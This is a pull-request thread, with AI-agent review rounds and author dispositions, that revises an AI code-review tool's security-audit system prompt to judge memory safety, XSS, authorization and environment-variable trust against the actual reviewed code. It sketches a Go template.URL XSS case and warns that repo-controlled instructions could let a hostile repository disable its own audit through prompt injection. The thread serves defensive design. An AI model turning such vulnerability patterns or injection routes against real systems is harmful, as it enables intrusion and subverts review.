fix(ai,pr-review): make security audit prompt stack-agnostic
Brought to you by:
thebguy
Menu
▾
▴
#123 fix(ai,pr-review): make security audit prompt stack-agnostic
Originally created by: theBGuy
Originally owned by: theBGuy
The AI security review prompt stated GitDesktop's own stack (Tauri: Rust + React/TypeScript) as fact and applied exemptions written for it to every repository audited — suppressing memory-safety findings outside Rust, XSS outside React's escape hatches, and missing authorization anywhere labelled "frontend", while trusting environment variables and CLI flags outright. This rewrites SECURITY_REVIEW_SYSTEM in src/lib/ai/prompt.ts so every one of those rules is judged against the code actually under review, and widens what an audit is allowed to report.
Stack assumptions → evidence about the reviewed code
- Replaces the
Stack precedents — in THIS codebase (Tauri: ...)block inSECURITY_REVIEW_SYSTEMwith a "Before judging any finding, establish what you are actually reviewing" step: derive language/runtime, whether the changed code is a server/handler or a locally-run client, where the trust boundary sits, and which validators/sanitizers/auth checks the project already uses — then judge the change against those, noting that a uniformly missing guard is a finding rather than a precedent. A finding resting on an unstated assumption is explicitly not high-confidence. - Adds a "Judge these against the code actually under review. Each cuts BOTH ways" section so each former exemption can now also be a finding:
- Memory safety — reportable in C/C++/Objective-C,
unsafeRust, Gounsafe.Pointer, cgo, unsafe C#, raw FFI, and managed-language escape hatches (sun.misc.Unsafe, the FFM API, Swift'sUnsafe*Pointerfamily, a Kotlin/JNI boundary); still not reportable in ordinary managed code. - XSS — enumerates default-escaping engines (React/JSX, Vue, Svelte, Angular, Django, Handlebars, Go
html/template, ERB, Jinja2 only where autoescaping is actually on) and their escape hatches, and restores full XSS rules for hand-rolled templating, a barejinja2.Environment(), or plainERB.new. Adds URL-scheme sinks (href/src/formaction/xlink:hreffed ajavascript:URL) and attacker-controlled spread props/attributes as findings with no escape hatch involved, minus the engines that filter that context themselves. - Missing auth/permission/validation — still not a finding in a client with enforcement elsewhere, but explicitly a finding when the changed code is the server, API handler, IPC command, or privileged entry point.
- Environment variables and CLI flags — trusted only for a tool the invoking user runs locally; not on a server, container, CI runner, shared host, or setuid binary, and not when the value comes from the content of a repo/PR/file being operated on.
- Splits the genuinely universal exclusions (DoS, outdated dependency versions, test/doc-only files, theoretical races) into a new "Always out of scope, whatever the codebase" list.
Wider vulnerability coverage
- Reframes the category list as open-ended ("Examine these categories, among others") and adds a catch-all bullet for concretely exploitable classes the named buckets miss — CSRF/missing origin checks,
Access-Control-Allow-Originreflecting an attacker-suppliedOriginornullalongsideAccess-Control-Allow-Credentials: true, and clickjacking — held to the same source-to-sink-to-impact standard and confidence bar. - Adds a prototype pollution category (unguarded
__proto__/constructor/prototypein merges, clones, path assignment) with its own non-issues and an explicit pointer to Injection and Supply chain to avoid double-filing the same fact. - Broadens the Injection bullet to
e.g.-style examples plus LDAP and OGNL/SpEL expression injection and "any other untrusted input reaching an interpreter".
Severity and confidence calibration
- Defines Critical as a severity a finding can actually carry (RCE, execution triggered by content merely cloned or opened, full system compromise, mass data breach) — it was previously referenced by the reporting thresholds but never defined — and rewrites High accordingly. The output header line now reads
Severity: Critical/High/Medium/Low. - Removes the flat ">80% confident" rule from Guiding rules, which contradicted the severity-scaled thresholds, and points at that bar instead (noting it rises as severity falls).
- Replaces the bare N/10 score with a rubric grounded in what the reviewer saw (9–10 all three links visible, 7–8 one link inferred, 6 a key link unverified, ≤5 dropped), and changes the Exploit scenario bullet to require stating which link was not verified.
- Extends the final re-check pass to enumerate every section (guiding rules, non-issues, out-of-scope list, establish-what-you-are-reviewing, judge-against-the-code rules, thresholds) and requires naming the specific guard before dropping a finding as safe.
Docs
- Adds
changelog.d/fixed-security-audit-stack-assumptions.mdwith three user-facing bullets covering the removed stack assumptions, the widened reportable classes, and the sharper severity/confidence rules.
Related
Originally posted by: cloudflare-workers-and-pages[bot]
Deploying gitdesktop with
Cloudflare Pages
2ac1b82View logs
Originally posted by: theBGuy
Context for reviewers
This fixes a real defect in the security-audit system prompt: it carried a hardcoded block titled "Stack precedents — in THIS codebase (Tauri: Rust backend + React/TypeScript frontend)" and shipped it to every repository a user audits.
reviewSystemFor()varies that constant only by forge (noun swaps for GitLab/Bitbucket) — there is no language or stack detection anywhere in the review path. So auditing a C/C++ change was told buffer overflows "are not possible", a non-React frontend had XSS waved off, a server/API handler had missing authorization treated as somebody else's problem, and anything reachable through env vars or CLI flags was declared trusted even on a shared CI runner. Scope is the security prompt only; two files, +37/−9.Numbered so you can cite or overturn them individually.
Conditional wording, not stack detection — deliberate. I considered detecting the repo's stack and injecting matching precedents. Rejected: a single PR can touch
.rsand.ctogether, so one detected "stack" is wrong for part of the diff. Conditional rules are evaluated per-file by the model, need no new input onReviewPromptInput, work identically on the non-agentic HTTP path and the agentic path, and have no misdetection failure mode. If you'd rather have detection, the right execution is detection feeding these conditionals (narrowing them per file), not replacing them.Repo custom instructions are still NOT wired into reviews — deliberate, on security grounds.
ReviewPromptInputhas norepoInstructions/globalInstructionsfield, unlike the six other prompt builders (commit, branch-name, PR description, repo description, issue draft, conflict-resolve). That asymmetry is correct and I did not "fix" it:.gitdesktop/instructions.mdis repo-controlled content, so letting it steer a security audit would let a hostile repo disable its own audit — precisely the XPIA class this prompt lists as a category. If an override channel is ever wanted, global (user-set) instructions are the safe one; per-repo ones are not.Criticalwas restored, not added. The reporting ladder already gated "a Critical-impact issue at confidence 6+", but the severity scale and the mandated output line only permitted High/Medium/Low — so the model was never told it could emit it, and RCE-class findings were capped at High. This is a consistency fix to the prompt's own pre-existing intent.Widening the severity enum breaks no consumer. I grepped
src/andsrc-tauri/src/forSeverity:/Confidence:— zero hits outsideprompt.ts. Nothing parses the severity line into a typed value; the model's Markdown is passed through and only ever re-fed as free-form prior-review context. So this is a text-only change with no downstream contract.Scope stops at
SECURITY_REVIEW_SYSTEM. All six hunks fall between lines 399–432.GENERAL_REVIEW_SYSTEM,ITERATIVE_REVIEW_CLAUSE,LEFTOVER_ROUTING_CLAUSE,OWN_COMMENTS_CLAUSEandEXTERNAL_REVIEW_CLAUSEare untouched — [#121] had just extracted the leftover-routing clause out of security mode precisely to stop nit/polish vocabulary contradicting the security prompt's silence-over-noise contract, and I kept that separation.The four blanket exclusions were kept as blanket. DoS/rate-limiting/resource exhaustion, outdated dependency versions, test-only and doc files, and theoretical races are scope decisions that hold for any repo, so they stay unconditional. Only the four that asserted stack-specific facts became two-way rules.
The two-way phrasing is load-bearing. Each conditional says both what to report and where not to ("report it there" / "don't report it there"). A one-sided rewrite would just move the suppression, which is the bug.
Disclosures
I ran a live A/B, and it did not prove the headline fix. Old vs new system prompt, same model, same hand-written fixture diffs, no repo access (mirroring the non-agentic path). Proven:
Criticalis now actually emitted for an RCE where the old prompt capped it at High, and the calibration rubric visibly works — the new output names the inferred link on each sub-9 finding ("the exact caller isn't shown, so reachability is inferred"). Not proven: on two fixtures the old prompt reasoned past its own false precedents whenever the diff's comments announced the context, finding the C memory-safety issues and the env-var command injection anyway. n=1 per arm at non-zero temperature, and the arms surfaced different findings, so prompt effect and run variance are not separable from that evidence. The fix rests on the instructions being false-in-principle for most repos, not on a measured behavior win. A stronger test needs non-self-announcing fixtures, several samples per arm, and probably a weaker model.Prototype pollution / integrity-free deserialization overlaps slightly with the existing supply-chain bullet's "remote code executed without integrity verification". Deliberate — they frame different angles (what gets fetched vs. what gets executed unverified), and redundancy in a prompt is harmless where contradiction would not be.
Docs deliberately minimal. The in-app guide never documents the audit's severity levels or scope, so nothing there went stale — I checked README,
help/content.ts, and the site. Adding severity documentation would be new scope; say the word if it's wanted. Changelog fragment included.Deferred with a home: while comparing against Copilot CLI's shipped security-review agent I found it enforces prompt-injection defense at runtime — a taint/declassification lattice that blocks untrusted-context → write-tool calls — rather than in prose. That's a design input for GitDesktop's static MCP write ladder (
--allow-remote-writeis on/off regardless of what the agent just read). Recorded in project memory, deliberately not in this PR.Verification
pnpm buildexit 0 (tsc + bundle) ·biome lint src/lib/ai/prompt.tsclean · no NUL bytes ·git diff --numstat18/9 onprompt.ts= content-only, not an EOL flip.Posted by GitDesktop — automated agent comment, verify before acting on it.
Related
Tickets:
#121Originally posted by: theBGuy
🤖 GitDesktop AI review ·
opus· automatedPrompt-only change: the security-audit system prompt drops the hardcoded "in THIS codebase (Tauri: Rust + React/TS)" exemption block and replaces it with a "establish the stack first / these rules cut both ways" framing, plus a Critical severity tier, a calibrated confidence scale, and a new data-integrity category. The direction is right and the four old exemptions all survive in conditional form — nothing blocking — but several of the new clauses contradict rules elsewhere in the same prompt string, which matters because they all ship in one system message. Note: the author's numbered reviewer notes are truncated after item 2 in what I was given, so a finding below may overlap a decision recorded in an item I can't see.
Correctness (prompt logic)
should-fix —
src/lib/ai/prompt.ts:400, new Data integrity bullet, third clause "loading or executing remote code or content whose integrity is never verified". The Supply-chain bullet directly above (line 399) already owns this class but deliberately narrows it — "where an attacker could influence what is fetched" plus "Non-issue: first-party/same-org/monorepo deps; deps already pinned to immutable refs or vendored; dev-only tooling". The new clause carries none of those qualifiers, so a dev-only build script that curls a first-party artifact over HTTPS without a checksum is an explicit Non-issue under one bullet and a match under the other, and the model has to pick. Fix: delete the third clause from the data-integrity bullet (it is fully covered above), or rewrite it as "…whose integrity is never verified — beyond the supply-chain rule above; that rule's Non-issues apply here too". While you're there: "deserializing or unpickling untrusted data" also duplicates "unsafe deserialization" already listed in the Injection bullet (line 394); pick one canonical home so thecategorytag in the output block is deterministic.should-fix —
src/lib/ai/prompt.ts:421, severity definitions. The rewrite moves RCE up to Critical ("remote code execution, full system compromise, or mass data breach") and narrows High to "auth bypass, individual data breach", which leaves non-remote code execution with no listed severity. Concrete case for this repo's own dogfooding: command injection in a locally-run Git client triggered by attacker-controlled repo content (a hostile branch name or remote URL reaching a shell) is not "remote" and is not obviously "full system compromise", so the model can land on Medium — whose reporting bar is 8+ — and silently drop a 7-confidence finding that cleared High at 7+ under the old wording. Fix: give it a home in both tiers, e.g. Critical: "remote code execution, or code execution triggered by attacker-controlled content the user merely clones/opens; full system compromise; mass data breach", and High: "directly exploitable (auth bypass, code execution in a local/user-invoked context, individual data breach; local-network-only can still be High)". No knock-on edits needed — the threshold line (423) and the output-format line (426) already enumerate Critical.should-fix —
src/lib/ai/prompt.ts:422vs the unchanged guiding rule at line 389. The new calibration defines 6 = "specific and plausible, but a key link is unverified" and line 423 keeps Critical reportable at 6+, while line 389 says "Flag an issue only when you can name a concrete attack path … and are >80% confident it is real" and line 386 says "report only HIGH-CONFIDENCE … vulnerabilities". The 6+ threshold predates this diff, but defining 6 as unverified key link turns a loose numeric into an explicit licence to report a Critical whose reachability was never confirmed — the exact false positive the prompt's opening forbids. Fix: reconcile in one place — either change line 389's tail to "…and clear the severity-scaled confidence bar below" (dropping the flat >80%), or raise Critical to 7+ on line 423 and drop the "6 —" rung from the calibration. Whichever you pick, keep 386/389/422/423 consistent.should-fix —
src/lib/ai/prompt.ts:417, missing-auth bullet. The client-side exemption is now conditioned on "a client/frontend whose server re-checks", which does not describe a local-first desktop client that has no server — including GitDesktop itself, whose PRs this prompt audits. A React change that assembles a git argument or a file path has no server to re-check, and the changed code isn't itself "the server, API handler, IPC command, or privileged entry point", so it lands in a gap between the two halves of the rule; combined with line 406 ("say which assumption the finding rests on") the model reports it hedged instead of suppressing it, which is a noise regression versus the old flat frontend exemption. Fix: "…not a finding in a client/frontend whose server, backend, or IPC layer re-enforces — or in any client where enforcement lives outside the client at all; a client-side check is UX, not a boundary."should-fix —
src/lib/ai/prompt.ts:405, "Note which validators, sanitizers, escaping helpers, and auth checks the codebase ALREADY uses". This is unbounded and unconditional, but the two paths it ships on can't both honour it: on the non-agentic HTTP path there are no tools at all (agenticReviewClauseis appended only wheninput.agenticis set — line 746), so the model is told to inventory guards it cannot see; on the agentic path the appended clause says "your tools are for verifying and gathering context around THOSE changes, not for … wandering the repo. Explore only what a finding needs, then stop", against an agent review timeout that Auto-caps at 20 minutes. Fix: scope it to the diff's neighbourhood — "In the changed files and the code they call, note which validators, sanitizers, escaping helpers, and auth checks are already in use (reach for tools only where a finding depends on it), and judge the change against those…". The bullet above already carries the "if you have file-reading tools" hedge; mirror that phrasing here.Readability / consistency
src/lib/ai/prompt.ts:432: the closing re-check calls the new section "the judged-against-this-codebase rules", but its header (line 414) reads "Judge these against the code actually under review", and "this codebase" is precisely the ambiguous phrase this PR is removing. Rename the pointer to match the header verbatim, e.g. "the judge-against-the-reviewed-code rules".src/lib/ai/prompt.ts:403: a section that opens "First, establish what you are actually reviewing" sits third, after the guiding rules and the entire category list; move it above "Examine these categories where the diff touches them" (line 393) so the ordinal matches its position.src/lib/ai/prompt.ts:416: the escape-by-default list names only client frameworks, so autoescaping server templates (Jinja2/Django, ERB, Handlebars) get swept into "assembled by string concatenation or manual templating" and lose their exemption; add them with their hatches (| safe,mark_safe,raw/html_safe, triple-stash{{{ }}}).changelog.d/fixed-security-audit-stack-assumptions.md:19: "Prototype pollution and integrity-free deserialization are now named categories too" is a category-coverage change filed under the bullet titled "Sharper severity and confidence on security findings"; move that sentence to the end of the first bullet.Posted by GitDesktop — AI output, verify before acting on it.
Originally posted by: theBGuy
🤖 GitDesktop AI security audit ·
opus· automatedNo security issues found in these changes — the diff only edits static system-prompt copy inside an already-escaped template literal (plus a changelog fragment); it adds no new interpolation of untrusted data, no new sinks, and no logic changes.
Posted by GitDesktop — AI output, verify before acting on it.
Originally posted by: theBGuy
Round 1 dispositions — 9 of 9 accepted, 0 refuted
Every should-fix verified against the file before disposition. Three of them are regressions this PR introduced, all of the same shape: I narrowed a blanket rule without enumerating what the blanket version covered. Fixes are in the working tree; the push follows this comment.
First, a process note you flagged yourself: you observed the context comment was "truncated after item 2 in what I was given". That's real — items 3–11 didn't reach you. Two consequences worth recording: your finding on the data-integrity/supply-chain overlap landed on the same ground as my item 9, where I'd argued the redundancy was harmless — and your argument beats mine, so no harm done. And item 4 (zero parsers of the severity line) went unseen, so I re-verified it independently this round rather than leaning on it.
Should-fix — all accepted
Data integrity vs Supply chain (
:400) — accepted, and I took the stronger option. The bullet is now prototype pollution only, with an explicit pointer that unsafe deserialization belongs to Injection and unverified remote code to Supply chain, "whose Non-issues govern it — don't file the same fact twice". That kills both the Non-issue asymmetry you identified and the duplicate-category-tag ambiguity, and it leaves the bullet carrying only the class that genuinely had no home. My item 9 called this harmless redundancy; your point that one bullet carries explicit Non-issues the other lacks — so the model has to arbitrate — is the correct read.Non-remote code execution had no severity (
:421) — accepted; this is my regression. OldHighread "directly exploitable (RCE, auth bypass, data breach…)"; I moved RCE to Critical and dropped code execution from High entirely, so the local case fell into Medium's 8+ bar. Fixed in both tiers as you suggested: Critical now covers "code execution triggered by attacker-controlled content the user merely clones or opens", High covers "code execution in a local or user-invoked context".>80%vs the severity-scaled ladder (:422vs:389) — accepted. Line 389 now defers to the ladder — "clears the severity-scaled confidence bar below — that bar rises as severity falls, so a lesser finding needs more certainty, not less" — which preserves the ladder's intent rather than gutting it. Worth noting the contradiction was latent before this diff and activated by it: with Critical undefined, the "Critical at 6+" branch was unreachable, so nothing could previously hit the 6-or-7 band that line 389 forbade. Defining Critical made it live.Local-first client falls between the two halves (
:417) — accepted; also my regression, same shape as [#2]. The old flat frontend exemption covered a client with no server at all; my "whose server re-checks" condition dropped that case. Now: "not a finding in a client/frontend where enforcement lives outside it — a server, backend, or IPC layer that re-checks — nor in a local-first client that has no such boundary to enforce in the first place".Unbounded guard inventory (
:405) — accepted, scoped as you proposed: "In the changed files and the code they call… (reach for file-reading tools only where a finding depends on it)". I verified the gating you cite —agenticReviewClauseis appended only underif (input.agentic)at :746 — so the non-agentic path genuinely has no tools with which to honour the old wording.Nits — all accepted
:432pointer said "judged-against-this-codebase" — accepted, and a good catch: it reintroduced the exact ambiguous phrase this PR removes. Now "the judge-against-the-reviewed-code rules"."First," sitting third (
:403) — accepted-with-correction. Rather than move the block above the category list, I renamed it to "Before judging any finding, establish what you are actually reviewing". That removes the false ordinal without restructuring the prompt, and reads as the procedural step it is. If you'd rather it physically lead the prompt, that's a clean follow-up — the block is self-contained.Server template engines swept into "manual templating" (
:416) — accepted. Added Jinja2/Django, ERB and Handlebars to the escape-by-default list with their hatches (|safe/mark_safe,raw/html_safe, triple-stash), and changed "manual templating" to "hand-rolled templating" so autoescaping engines aren't read into it.Changelog sentence under the wrong bullet — accepted, moved to the first bullet, and it now names prototype pollution only, matching [#1].
One thing you didn't raise: the changelog was overstating the bug
Independently of your round I re-checked the fragment's claims against the old text, and three of its four illustrations were wrong — the old bullets were textually scoped and didn't cover the cases I claimed. "Memory-safety in Rust or any memory-safe language" never said C/C++ overflows were impossible; "XSS in React/TSX" never covered a non-React frontend; "Missing auth in client-side (frontend) code" never suppressed server-side authz. Only the environment-variable exemption was genuinely unconditional. The first bullet now attributes the defect to what actually caused it — a false premise in the header asserting "THIS codebase" is Rust + React over every repo, plus that one unconditional exemption — instead of claiming four blanket suppressions the old text did not make.
Verification
pnpm buildexit 0 ·biome lint src/lib/ai/prompt.tsclean · scope unchanged at 6 hunks, all within lines 399–432 (GENERAL_REVIEW_SYSTEMand the shared clauses still untouched) · re-verified independently this round: zero consumers of the severity/confidence strings anywhere insrc/,src-tauri/src/,README.md,site/, orhelp/content.ts, so widening the enum still breaks no contract.Posted by GitDesktop — automated agent comment, verify before acting on it.
Related
Tickets:
#1Tickets:
#2Originally posted by: theBGuy
🤖 GitDesktop AI review ·
opus· automatedAll five should-fixes and all four nits from the previous round are applied in the prompt text; the only new problem I see is that the expanded escape-by-default list at
:416re-introduces a stack assumption of exactly the kind this PR removes. Nothing blocking — no code path is affected (verified: nothing insrc/orsrc-tauri/parses the**Severity: …**line, andreviewSystemForonlyreplaceAlls"pull request"/"GitHub-flavored Markdown", neither of which this diff touches), and the removed block has no surviving copy anywhere in the repo.Correctness (prompt logic)
should-fix —
src/lib/ai/prompt.ts:416, XSS bullet. AddingJinja2/DjangoandERBto "where a framework or template engine escapes by default" is only true for the framework configurations, not the engines themselves:jinja2.Environment(loader=FileSystemLoader(...))defaults toautoescape=False(Flask turns it on for.html-family templates, andselect_autoescape()/autoescape=Truedo so explicitly), and plainERB.new(src).result(binding)outside Rails/ActionView does not escape<%= %>at all. Concrete case: a Python service that renders{{ user_input }}through a barejinja2.Environment— a common pattern for HTML email and report generation — has genuine reflected XSS, but under this bullet the reviewer is told to report XSS "only via an explicit escape hatch", and there is no|safein that template, so the finding is suppressed. Same for a Sinatra/static-generator ERB template. That is precisely the "do not suppress a class the reviewed code is genuinely subject to" failure the section header at:414warns against. Fix — replace the parenthetical and the closing sentence:(React/JSX, Vue, Svelte, Angular templates, Django templates, Rails/ActionView ERB, Handlebars, and Jinja2 where autoescape is on — Flask's HTML templates,select_autoescape(), or an explicitautoescape=True)…Where markup is assembled by string concatenation or hand-rolled templating — including a barejinja2.Environment()(autoescape defaults to off) or plainERB.newoutside Rails — ordinary XSS rules apply in full.The hatch list needs no change (
|safe/mark_safe/raw/html_safestill map correctly), and no changelog edit is owed — the fragment only describes the old React exemption, which stays accurate.nit —
src/lib/ai/prompt.ts:421: Critical's "code execution triggered by attacker-controlled content the user merely clones or opens" and High's "code execution in a local or user-invoked context" both describe the same clone-a-hostile-repo case, so the tier (and thus the 6+ vs 7+ bar) is a coin flip; the second phrase is my own wording from last round, so worth tightening now — make High the residual, e.g. "code execution that requires the user to deliberately supply or run the attacker's input themselves".nit —
src/lib/ai/prompt.ts:386and:428still carry flat-confidence language ("report only HIGH-CONFIDENCE …", "plus how you verified it is real") that reads oddly against the new:422rung defining 6 as "a key link is unverified" while:423keeps Critical reportable at 6; last round's fix landed at:389only. Soften:428to "…plus what you verified and which link you did not".Docs / changelog
changelog.d/fixed-security-audit-stack-assumptions.md:23-24: "the bar a finding must clear now scales with its severity instead of sitting at one flat number" misstates the prior state — the severity-scaled thresholds (Critical 6+/High 7+/Medium 8+/Low 9+) already existed; what changed is that the contradicting flat ">80% confident" guiding rule is gone. Reword to "…and the flat '>80% confident' rule that contradicted those thresholds is gone, so the bar is unambiguously the severity-scaled one."CHANGELOG.mdbullets run 3-7 lines andchangelog.d/README.mdasks for "a clear sentence about what changed for the user"); trim to the user-visible claim and drop the verbatim block header.Resolved since last review
:400— data-integrity/supply-chain overlap gone; the bullet is now prototype-pollution only, and its routing pointers check out (Injection at:394does list unsafe deserialization; Supply chain at:399does own unverified remote code).:421— non-remote code execution now has a home in both Critical and High, and the changelog matches.:389— flat ">80% confident" replaced by the severity-scaled bar; the "rises as severity falls" gloss is consistent with:423.:417— local-first clients with no enforcement boundary now covered, with the server/IPC-side half intact.:405— guard inventory scoped to changed files plus the code they call, with tool use hedged (safe on the non-agentic path, which appends no tools).:432— pointer renamed to "the judge-against-the-reviewed-code rules".:403— "First," dropped, so the section no longer claims an ordinal position it doesn't hold.:416— autoescaping server templates and their hatches added (see the should-fix above for the qualification they still need).Copilot's three comments are all on resolved ground or already dispositioned (the two changelog wording ones are gone with the rewrite; the
Markdowncapitalization one lands on:411, which is verbatim on master and untouched here).Posted by GitDesktop — AI output, verify before acting on it.
Originally posted by: theBGuy
Round 2 dispositions — 5 of 5 accepted, 0 refuted
Thanks for the resolved-since-last-review ledger; it matches my own accounting of all nine.
should-fix — accepted, and verified against vendor docs rather than recall
:416XSS list re-introduced a stack assumption. Correct, and this is the "a carve-out mints the next finding" shape — my round-1 fix for your own nit introduced it. Because getting this wrong suppresses real XSS, I checked both engines against their vendors' documentation instead of trusting either of our recollections:jinja2.Environment()rendering{{ user_input }}is genuinely vulnerable, and my listing would have suppressed it.{% autoescape off %}to the hatch list alongside|safe/mark_safe, since that's a second way out that the hatch list didn't name.ERB.new(...).result(binding)doesn't escape. I accepted it because your fix narrows the exemption, which is the safe direction — if the claim were wrong the cost is a little extra noise, not a missed vulnerability. Qualified as "Rails/ActionView ERB" with "plainERB.newoutside Rails" called out on the manual-templating side.nits — all accepted
:421Critical/High overlap. Agreed, and worth noting you were correcting wording you'd supplied last round — that's the right call, not a reversal. High is now the residual: "code execution that requires the user to deliberately supply or run the attacker's input themselves", so the clone-a-hostile-repo case lands unambiguously in Critical.:386/:428flat-confidence language. Accepted, and I went one further than you proposed. You suggested softening:428only; I also fixed:386, because "report only HIGH-CONFIDENCE" is the same flat assertion and you've now flagged it in two consecutive rounds — leaving it would just keep pattern-matching.:386now reads "report only genuinely exploitable vulnerabilities, clearing the confidence bar below…" and:428is "plus what you verified and which link you did not". There are now zero occurrences of the old flat phrasing.changelog.d/median of ~5 and a next-longest of 13. Now 14, with the verbatim prompt-header quote dropped.Verification
pnpm buildexit 0 ·biome lint src/lib/ai/prompt.tsclean · scope still confined — 9 hunks, all inside lines 386–432, withGENERAL_REVIEW_SYSTEMand all four shared clauses showing zero touched lines.One thing I'd flag for your next pass, since it's collateral of my own round-1 fix rather than anything you raised: the prototype-pollution bullet now refers to the Injection and Supply-chain bullets by name. That coupling is deliberate (it's what removed the duplicate-category ambiguity) but it means reordering or renaming either bullet would silently dangle those pointers.
Posted by GitDesktop — automated agent comment, verify before acting on it.
Originally posted by: theBGuy
🤖 GitDesktop AI review ·
opus· automatedThird round on a prompt-text-only change; the round-2 should-fix (Jinja2/ERB autoescape) and all three nits landed, and I checked the fix's own hunk against vendor behavior — the Jinja2 (
select_autoescape()/autoescape=True/ bareEnvironment()off), Django ({% autoescape off %}hatch), Handlebars, Rails ERB and plainERB.newclaims are all accurate. Nothing blocking; no code path consumes the changed text (re-verified:reviewSystemForonlyreplaceAlls"pull request"/"GitHub-flavored Markdown", neither of which the new lines contain, andSeverity:/Confidence:appear nowhere insrc/orsrc-tauri/outside this prompt), and no README/site/help surface enumerates the severity set, so no docs sync is owed.Prompt wording
src/lib/ai/prompt.ts:416: the escape-by-default parenthetical reads as a closed list, and the fallback branch covers only "string concatenation or hand-rolled templating" — so a Gohtml/template, ASP.NET Razor, or Twig template gets no rule at all (neither listed as escaping, nor hand-rolled). Prefix withe.g.and, if you add those engines, add their hatches to the hatch list in the same edit (template.HTML/template.JS,@Html.Raw,|raw) since that list is closed too.src/lib/ai/prompt.ts:386:report only genuinely exploitable vulnerabilities, clearing the confidence bar below, that the change INTRODUCES or newly exposessplits the noun from its relative clause; read as…vulnerabilities that the change INTRODUCES or newly exposes and that clear the confidence bar below.Docs / changelog
changelog.d/fixed-security-audit-stack-assumptions.md:1: "The audit prompt opened by telling the model…" misplaces the block — the "Stack precedents — in THIS codebase" header sat mid-prompt, after the risk-category list (former:403), not at the opening. Drop the positional claim: "The audit prompt told the model, as fact, that the code in front of it was Rust and React — and applied exemptions written for that stack to every repository you audit."Copilot's three comments are all stale: the two changelog wording ones point at sentences the rewrite deleted, and the
Markdowncapitalization one lands on:411, verbatim on master and untouched here.Resolved since last review
:416— Jinja2 now qualified to "only where autoescaping is actually on",ERBscoped to Rails/ActionView, and the bare-Environment()/ plain-ERB.newcases routed to full XSS rules;{% autoescape off %}added to the hatch list.:421— High is now the residual ("requires the user to deliberately supply or run the attacker's input themselves"), so the Critical/High boundary and the 6+ vs 7+ bar no longer overlap on the clone-a-hostile-repo case.:386/:428— flat "HIGH-CONFIDENCE" replaced by "clearing the confidence bar below", and the exploit-scenario line now asks for "what you verified and which link you did not", consistent with the:422rungs.:13-14— the severity-bar sentence now correctly attributes the change to the removal of the contradicting flat ">80% confident" rule.changed-review-prompt-convergence.md) and the file passeschangelog-lib.mjsvalidation (leading-, 2-space continuations).Leftover polish (non-blocking)
src/lib/ai/prompt.ts:415— the report-it-there list omits Go'sunsafe/unsafe.Pointerwhile the negative half says don't report in "ordinary memory-safe/managed code"; add it besidecgo.src/lib/ai/prompt.ts:405— "one consistent with them is weak" reads as precedent even when the established pattern is the vulnerability (a new f-string SQL query matching twenty siblings); a clause like "unless the pattern itself is the flaw — a uniformly missing or wrong guard is a finding, not a precedent" would close it, though:390already forbids dismissing a sink without naming a guard.Posted by GitDesktop — AI output, verify before acting on it.
Originally posted by: theBGuy
Round 3 dispositions — 5 of 5 accepted (3 nits + both leftovers), 0 refuted
No should-fix this round, so per the optional-nit rule I've taken all five in one push rather than trickling them.
The closed-list nit (
:416) — accepted, but fixed structurally rather than by extending the listYou're right that Go
html/template, Razor and Twig fell through the gap: not listed as escaping, not "hand-rolled" either. But simply lengthening the list would mint this same finding again for the next engine nobody named, so I closed it in two parts:e.g., as you suggested.On the specific engines, I split by what I could actually verify, because adding to the escapes-by-default list mints an exemption — the direction where being wrong suppresses a real vulnerability:
html/template— added. Verified against the package docs: "The escaping is contextual, so actions can appear within JavaScript, CSS, and URI contexts." Its bypass types are documented (HTML,CSS,JS,JSStr,URL,HTMLAttr,Srcset), sotemplate.HTML/template.JSwent into the hatch list in the same edit, as you asked.falseto disable auto-escaping" but never states the default, so "on by default" is an inference, not a primary-source fact. I'm not writing an unverified exemption into a security prompt; thee.g.+ residual handles Twig correctly in the safe direction until someone confirms it.Remaining nits and both leftovers — accepted
:386split noun/relative clause — reworded to your phrasing: "…vulnerabilities that the change INTRODUCES or newly exposes and that clear the confidence bar below".unsafe/unsafe.Pointer(:415): added besidecgo.:405): accepted, and it's the sharper of the two. A uniformly wrong guard shouldn't launder the twenty-first instance. Added: "unless the established pattern is itself the flaw, since a uniformly missing or wrong guard is a finding, not a precedent." You noted:390partly covers it; I'd rather it be explicit, since:405is the bullet that actively invites weighing consistency as exculpatory.Verification
pnpm buildexit 0 ·biome lint src/lib/ai/prompt.tsclean ·pnpm changelog:check— 14 pending fragments, all valid · scope unchanged: 9 hunks, all inside 386–432, shared clauses still showing zero touched lines.This should be the last substantive change — everything above is wording, with no new rule introduced beyond the residual clause and the two leftovers.
Posted by GitDesktop — automated agent comment, verify before acting on it.
Originally posted by: theBGuy
🤖 GitDesktop AI review ·
opus· automatedPrompt-text-only change (plus its changelog fragment); the round-3 nits and both leftovers landed, and I re-verified the new Go claims against vendor behavior (
html/templateescapes contextually;unsafe.Pointermisuse is a genuine memory-safety class). Nothing blocking — one asymmetry the latest push introduced is worth a fix before merge.Correctness (prompt semantics)
src/lib/ai/prompt.ts:416, XSS bullet: the escapes-by-default list was opened withe.g.and the fallback branch got an unknown-engine residual, but the escape-hatch list stayed closed — and adding Gohtml/templateto the escaping side while naming only two of its seven bypass types mints exactly the suppression the residual was meant to prevent. Concrete case: a Go handler renders<a href="{{.Link}}">with.Linkset totemplate.URL(r.URL.Query().Get("next")); the typed string defeats the contextual escaper (javascript:payload executes), but Go is on the escapes-by-default list, so the residual never applies, andtemplate.URLis not among the enumerated hatches — under "report only via an explicit escape hatch — \<list>" a strict reader drops a real finding. Same shape fortemplate.HTMLAttr/template.JSStr/template.CSS/template.Srcset, and for Handlebars, wherenew Handlebars.SafeString(…)is a second hatch beside the triple-stash. Fix: prefix the hatch list withe.g.the way the escaping list now is, and in the same edit replace\template.HTML`/`template.JS`with the whole family — e.g.any `template.*` typed string (`HTML`, `HTMLAttr`, `JS`, `JSStr`, `CSS`, `URL`, `Srcset`)— and addHandlebars.SafeStringbeside the triple-stash. No other surface enumerates these (the severity/hatch vocabulary appears nowhere else insrc/orsrc-tauri/, andreviewSystemForonlyreplaceAlls"pull request"/"GitHub-flavored Markdown"`, neither of which this line contains), so no knock-on edits are owed.Copilot's three comments are all stale: the two changelog ones point at sentences this push rewrote away (
cross-site-scriptingis gone; the severity bullet now reads "a severity that a finding can actually carry"), and theMarkdowncapitalization one lands on:411, verbatim on master and untouched here.Resolved since last review
